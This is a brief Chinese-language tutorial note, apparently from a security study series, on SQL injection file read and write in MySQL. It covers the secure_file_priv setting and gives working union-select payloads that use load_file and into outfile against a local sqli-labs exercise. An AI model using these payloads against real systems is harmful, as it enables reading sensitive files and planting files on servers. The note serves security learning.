网安--sql注入(文件读写)

读写的内容：

1、用户的信息

2、配置信息

文件读写注入的条件

secure_file_priv限制了mysql导出文件的权限

Linux：

cat/etc/my.cnf

win：

my.ini中的secure_file_priv

secure_file_priv=null            代表不能进行文件读写

secure_file_priv=文件路径    代表能在该文件可以进行读写

secure_file_priv=''                 代表对文件没有读写限制

读取文件

使用函数load_file('文件路径')路径符号只能使用/

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,load_file(‘E://test1.txt’),3 --+

写入文件

使用函数：Into Outfile（能写入多行，按格式输出）into Dumpfile（只能写入一行且没有输出格式）

http://127.0.0.1/sqli/Less-2/?id=1 union select 1,'text',3 into outfile 'E://test1.txt'--+